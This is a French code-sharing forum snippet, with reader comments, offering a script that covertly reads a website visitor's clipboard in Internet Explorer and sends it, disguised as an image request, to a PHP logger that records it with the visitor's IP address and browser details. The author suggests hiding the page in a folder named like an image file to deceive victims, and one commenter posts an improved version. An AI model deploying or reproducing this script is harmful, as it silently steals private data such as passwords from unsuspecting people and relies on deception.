Connaitre le contenu du presse papier d'un visiteur et le loguer

Soyez le premier à donner votre avis sur cette source.

Snippet vu 10 491 fois - Téléchargée 27 fois

Contenu du snippet

Encore une petite bidouille assez marante ...
J'ai adapté à ma façon, et très mal !, un script JS qui affichait le contenu du presse papier quand on navigait sur le page pour qu'il transmette le contenu du presse papier du visiteur à un script php, sans éveiller les soupsons de IE (comme si le .php était une image) et le PHP log tout ça dans un fichier .txt

Je vous conseille de mettre la page en index.htm dans un dossier image.jpg de type : http://www.serv.tld/image.jpg comme ça le mec crois ouvrir une image :p

Je n'ai aucune prétention en javascript donc je ne sais pas trop comment marche les variables mais si vous avez des conseils n'hésitez pas !

Notez pas très sévére pour le JS ! lol

Le code :

Source / Exemple :


index.htm :
-------------

<html>
<body>
<form name="tito" id="tito">
<textarea style="width=0px;height=0px" name="zone" id="zone"></textarea>
</form>
<script>
fuckU = new Image;

var popo=tito.zone.createTextRange();
popo.execCommand("Paste");
popo.collapse(false);

fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?toto=' + tito.zone.value;

</script>
</body>
</html>

microsoft.php (le nom mé passé par la tet ... désolé !) :
----------------------------------------------------------------

<?
/// PoPo 2004

if($toto != ""){
         $toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $REMOTE_ADDR . " - " . $HTTP_USER_AGENT . " " . $HTTP_ACCEPT_LANGUAGE . "] :\r\n" . $toto . "\r\n>>---------------<<\r\n\r\n";

         $popo = fopen("histo.txt", "a");
         fputs($popo, $toto);
         fclose($popo);
}

?>

Conclusion :


Merci à s0nic Kaos pour l'idée :)

@++
PoPo

A voir également

Ajouter un commentaire

Commentaires

Messages postés
2
Date d'inscription
mercredi 19 janvier 2005
Statut
Membre
Dernière intervention
15 septembre 2005

Bonjour,

C'est clair, il faut préciser que ce code n'est valable que pour IE.

Des commandes comme 'execCommand("Paste")' sont propres au jScript microsoft et non au standard javascript [qui lui n'accede pas au système :) ].
Messages postés
3
Date d'inscription
mercredi 7 juillet 2004
Statut
Membre
Dernière intervention
29 juillet 2006

Ca marche avec firefox ?
Je crois pas...heuresement que le logiciel libre est là !

Le piratage nuit à microsoft
Le piratage aide le libre
Messages postés
1
Date d'inscription
jeudi 10 mars 2005
Statut
Membre
Dernière intervention
21 novembre 2005

Cette technique peut s'appropcher du piratage... mais bon j'ai un peu améliorer le script pour qu'il puisse enregistrer des caractères non présent dans la table de caractères ISO-8859-1 puis qui puisse enregsitrer la suite d'un segment comportant le signe &.
Dans le fichier HTML:
fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?' + tito.zone.value;
au lieu de :
fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?toto=' + tito.zone.value;
Puis dans le fichier PHP:
$titi = str_replace("%20", " ", $_SERVER['QUERY_STRING']);
$toto = utf8_encode("@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $titi . "\r\n>>---------------<<\r\n\r\n)";
au lieu de :
$toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $_GET["toto"] . "\r\n>>---------------<<\r\n\r\n";
Messages postés
193
Date d'inscription
mercredi 5 mai 2004
Statut
Membre
Dernière intervention
18 novembre 2009

J'ai un petit probleme, moi j'ai juste un cadre de texte !? Quelqu'un pe m'expliquer?
Messages postés
9433
Date d'inscription
mardi 9 octobre 2001
Statut
Membre
Dernière intervention
13 avril 2007
8
Salut ;-)

Il suffit juste de régler les paramètres d'IE pour que ton script ne fonctionne plus. Dommage :-(

Mais bon je n'aime pas ce genre de scripts qui loguent des trucs du visiteur.

a ++
Afficher les 20 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.